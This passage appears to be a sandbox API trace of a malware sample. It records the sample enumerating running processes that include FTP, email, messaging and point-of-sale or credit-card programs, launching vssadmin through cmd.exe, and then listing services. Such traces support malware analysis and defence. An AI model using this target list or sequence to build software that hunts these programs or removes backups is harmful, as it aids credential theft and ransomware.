szExeFile="prize.exe")) returned 1 [0077.581] lstrlenW (lpString="prize.exe") returned 9 [0077.581] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0077.582] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0077.582] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0077.582] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0077.582] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0077.582] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0077.583] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0077.583] lstrlenW (lpString="prospects.exe") returned 13 [0077.583] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0077.583] lstrlenW (lpString="signalpackard.exe") returned 17 [0077.583] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0077.584] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0077.584] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0077.584] lstrlenW (lpString="release.exe") returned 11 [0077.584] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0077.584] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0077.584] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0077.585] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0077.585] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0077.585] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0077.585] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0077.586] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0077.586] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0077.962] lstrlenW (lpString="stickers_nations.exe") returned 20 [0077.962] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0077.962] lstrlenW (lpString="initiated-scary.exe") returned 19 [0077.962] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0077.963] lstrlenW (lpString="3dftp.exe") returned 9 [0077.963] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0077.963] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0077.963] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0077.963] lstrlenW (lpString="alftp.exe") returned 9 [0077.963] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0077.964] lstrlenW (lpString="barca.exe") returned 9 [0077.964] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0077.964] lstrlenW (lpString="bitkinex.exe") returned 12 [0077.964] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0077.964] lstrlenW (lpString="coreftp.exe") returned 11 [0077.965] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0077.965] lstrlenW (lpString="far.exe") returned 7 [0077.965] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0077.965] lstrlenW (lpString="filezilla.exe") returned 13 [0077.965] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0077.966] lstrlenW (lpString="flashfxp.exe") returned 12 [0077.966] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0077.966] lstrlenW (lpString="fling.exe") returned 9 [0077.966] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0077.966] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0077.966] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0077.967] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0077.967] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0077.967] lstrlenW (lpString="icq.exe") returned 7 [0077.967] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0077.967] lstrlenW (lpString="leechftp.exe") returned 12 [0077.967] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0077.968] lstrlenW (lpString="ncftp.exe") returned 9 [0077.968] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0077.968] lstrlenW (lpString="notepad.exe") returned 11 [0077.968] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0077.968] lstrlenW (lpString="operamail.exe") returned 13 [0077.968] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0077.969] lstrlenW (lpString="pidgin.exe") returned 10 [0077.969] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0077.969] lstrlenW (lpString="scriptftp.exe") returned 13 [0077.969] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0077.969] lstrlenW (lpString="skype.exe") returned 9 [0077.969] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0077.970] lstrlenW (lpString="smartftp.exe") returned 12 [0077.970] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0077.970] lstrlenW (lpString="thunderbird.exe") returned 15 [0077.970] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0077.971] lstrlenW (lpString="totalcmd.exe") returned 12 [0077.971] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0077.971] lstrlenW (lpString="trillian.exe") returned 12 [0077.971] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0077.972] lstrlenW (lpString="webdrive.exe") returned 12 [0077.972] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0077.972] lstrlenW (lpString="whatsapp.exe") returned 12 [0077.972] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0077.972] lstrlenW (lpString="winscp.exe") returned 10 [0077.972] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0077.973] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0077.973] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0077.973] lstrlenW (lpString="active-charge.exe") returned 17 [0077.973] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0077.974] lstrlenW (lpString="accupos.exe") returned 11 [0077.974] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0077.974] lstrlenW (lpString="afr38.exe") returned 9 [0077.974] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0077.974] lstrlenW (lpString="aldelo.exe") returned 10 [0077.974] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0077.975] lstrlenW (lpString="ccv_server.exe") returned 14 [0077.975] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0077.975] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0077.975] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0077.976] lstrlenW (lpString="creditservice.exe") returned 17 [0077.976] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0077.976] lstrlenW (lpString="edcsvr.exe") returned 10 [0077.976] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0077.977] lstrlenW (lpString="fpos.exe") returned 8 [0077.977] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0077.977] lstrlenW (lpString="isspos.exe") returned 10 [0077.978] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0077.978] lstrlenW (lpString="mxslipstream.exe") returned 16 [0077.978] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0077.978] lstrlenW (lpString="omnipos.exe") returned 11 [0077.978] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0077.979] lstrlenW (lpString="spcwin.exe") returned 10 [0077.979] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0077.979] lstrlenW (lpString="spgagentservice.exe") returned 19 [0077.979] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0077.979] lstrlenW (lpString="utg2.exe") returned 8 [0077.980] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0077.980] lstrlenW (lpString="nj_sh.exe") returned 9 [0077.980] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0077.980] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0077.980] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0077.981] lstrlenW (lpString="telecommunications.exe") returned 22 [0077.981] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0077.981] lstrlenW (lpString="sound banking.exe") returned 17 [0077.981] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.982] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.982] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0077.982] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0077.982] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.982] lstrlenW (lpString="taskhost.exe") returned 12 [0077.982] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0077.983] lstrlenW (lpString="winhost.exe") returned 11 [0077.983] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0077.983] lstrlenW (lpString="cmd.exe") returned 7 [0077.983] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.983] lstrlenW (lpString="conhost.exe") returned 11 [0077.983] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0077.984] lstrlenW (lpString="vssadmin.exe") returned 12 [0077.984] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0077.984] lstrlenW (lpString="VSSVC.exe") returned 9 [0077.984] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.984] lstrlenW (lpString="svchost.exe") returned 11 [0077.984] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0077.985] CloseHandle (hObject=0x204) returned 1 [0077.985] Sleep (dwMilliseconds=0x1f4) [0078.652] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff00 [0078.653] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0078.653] GetLastError () returned 0xea [0078.653] RtlAllocateHeap (HeapHandle=0x4b0000, 